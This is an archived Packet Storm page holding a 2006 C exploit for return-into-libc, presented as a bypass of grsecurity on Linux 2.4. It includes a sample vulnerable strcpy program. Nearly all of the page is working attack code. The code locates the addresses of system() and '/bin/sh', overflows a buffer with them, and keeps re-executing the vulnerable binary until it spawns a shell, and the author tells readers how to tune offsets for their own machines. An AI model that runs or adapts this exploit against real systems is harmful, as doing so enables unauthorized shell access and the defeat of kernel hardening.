what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

SA-03.txt

SA-03.txt
Posted Apr 28, 2006
Site pinkhat.org

An example of a return into libc exploit that possibly works though grsecurity patch protection.

tags | exploit
SHA-256 | 3d52d2bc3578ca63d91d157654640485e25d9bb02f962aa6d3f5f5cfb99a6f01

SA-03.txt

Change Mirror Download
I'm proud to introduce an example of return into libc exploit which works though grsecurity patch protection.

Please read source carefully and change some lines cause default version probably wont work on your machine.

-> This is example, remember it. ;)

/*
* Grsecurity bypass tryout - system("/bin/sh"); return into libc technique.
* Read source cause this is only an example.
* ---
*
* The simplest vulnerable program which was used to tests:
*
* int main(int argc, char *argv[])
* {
* char data[5];
*
* if(argc>1)
* strcpy(data,argv[1]);
* return 0;
* }
*
* Successfully tested under,
* - Linux Kernel |2.4.31| with Grsecurity patch |2.6.1|
* - GCC 3.3.6
* - LIBC 2.3.5-stable
*
* Attack time depends on your computer speed.
*
*
* Nikomu nie dziekuj, nikomu nie ufaj, licz tylko na siebie.
* ---
* Adam Simuntis <adam@pinkhat.org>
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <linux/utsname.h>
#include <dlfcn.h>

//It is not constant value! Calculate for your system.
//If you dont know how, just leave.
#define offset 0x4000


//Space needed for overflow with system() and /bin/sh address.
#define ADDRESS_SPACE 16
#define PATH "./vuln"
#define SIZE 28
#define LIBC_TESTED "2.3.5"

#define GRSEC

char* get_sysname(void)
{
char *uts;
uts = malloc(sizeof(struct utsname));

uname((struct utsname*)uts);
return uts;
}

int main()
{
register int pid;

int status,
size = 0,
s = 0,
i = 0;

unsigned long sh,
shell,
ss=0,
addr=0,
sys_addr=0;

struct new_utsname *uts;

char *buffer,
*libc_ver,
*libc_rel,
*path = PATH;

void *libc;
void (*system)();

libc_ver = (char*)gnu_get_libc_version();
libc_rel = (char*)gnu_get_libc_release();

if(libc=dlopen("/lib/libc.so.6",RTLD_LAZY))
{
system = dlsym(libc,"system");
ss = (int)system;
addr = (int)system - offset;
}

uts = (struct new_utsname*)get_sysname();
size = SIZE;

printf("# Return into libc exploit by Adam Simuntis <adam@pinkhat.org> |an example|\n"
"# Gathering info..\n");

s=size+ADDRESS_SPACE;
buffer = malloc(s);
sh = addr;
while(memcmp((void*)sh,"/bin/sh",8))
sh++;

shell = sh - offset;
sys_addr = ss - offset;

printf("\tLIBC: %s-%s\n",libc_ver,libc_rel);

printf("\t- got sysname: %s %s\n"
"\t- got system() addr: 0x%x\n"
"\t- got /bin/sh addr: 0x%x\n"
"\t~ system() - offset @: 0x%x\n"
"\t~ /bin/sh - offset @: 0x%x\n",uts->sysname,uts->release,(int)ss,(int)sh,(int)sys_addr,(int)shell);


if(strcmp(libc_ver,LIBC_TESTED))
printf("# Warning: Libc version %s was not tested. Program may not work correctly.\n",libc_ver);

printf("# Press enter to proceed attack or ctrl+c to cancel.");
getchar();

#ifdef GRSEC
printf("# Bypassing grsecurity protection\n\t~ wait for shell\n");
#endif

for(i = 0; i < s; i++)
buffer[i]='\x6e';

*(long *)&buffer[s-16] = addr;
*(long *)&buffer[s-12] = addr;
*(long *)&buffer[s-4] = shell;

//Waiting for address repeat
#ifdef GRSEC
while(1)
{
pid = fork();
if(pid == 0)
{
execl(path,path,buffer,0x00);
}
if(pid>0)
{
waitpid(pid,&status,WUNTRACED);
if(status == 0)
break;
}
if(pid<0)
{
printf("# Exploit failed. (resources)\n");
exit(1);
}
}
#else
execl(path,path,buffer,0x00);
#endif
free(buffer);
return 0;
}

Here is prove of successful attack:
http://satfilm.pl/~n30n/grsec.png
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close